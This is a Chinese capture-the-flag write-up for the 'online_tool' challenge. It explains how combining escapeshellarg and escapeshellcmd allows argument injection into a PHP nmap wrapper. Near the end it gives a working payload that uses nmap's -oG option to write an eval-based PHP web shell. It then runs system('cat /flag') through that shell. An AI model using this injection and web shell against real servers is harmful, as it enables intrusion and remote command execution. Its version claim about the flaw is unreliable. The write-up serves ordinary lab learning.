online_tool
- 进去后得到以上页面,其中设置X-Forwarded-For或者不设置不影响题目,它只是设置命名,
$sandbox
为目录名。 - 代码实现的功能就是在线进行namp扫描,通过get一个host主域名进行扫描。
- 对上面出现的nmap命令进行了解:
-T5 : 可以加快或者减慢扫描速度,有六个级别,级别越高速度越快,也越容易被WAF或者IDS发现。
-sT:使用TCP Syn扫描最常用的端口,会完整的执行完TCP的三次握手,隐蔽性不强。
-Pn:有时候防火墙会禁止ping请求.-PN命令告诉Nmap不用ping远程主机。
–host-timeout :限制每个 IP 地址的扫描时间(单位为秒)
-F:要求扫描时(包挺ping扫描)使用 小的IP包分段
- 代码问题主要出在:
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
PHP escapeshellarg()+escapeshellcmd() 之殇
- 举例说明:
- 传入的参数是:172.17.0.2’ -v -d a=1
- 经过escapeshellarg处理后变成了’172.17.0.2’\’’ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
- 经过escapeshellcmd处理后变成’172.17.0.2’\\’’ -v -d a=1\’,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义。
- 最后执行的命令是curl ‘172.17.0.2’\\’’ -v -d a=1\’,由于中间的\\被解释为\而不再是转义字符,所以后面的’没有被转义,与再后面的’配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1’,即向172.17.0.2\发起请求,POST 数据为a=1’。
【注】:此漏洞为php版本小于 5.2.18的 RCE 漏洞。
- 然后这样可以用单引号
'
逃脱它原本设置的单命令束缚。对于escapeshellcmd函数
,会对host变量中的特殊字符进行转义(&#;`|*?~<>^()[]{}$, \x0A//和\xFF以及不配对的单/双引号转义,
所以常用的&&
,&
,|
等基本的命令注入操作多失去作用。 - 搜索发现在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件
- 构造一下payload:
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
得到文件目录,然后在生成文件中执行命令:
http://host/目录/hack.php?hack=system('cat /flag')
或者,连接蚁剑:
根目录发现flag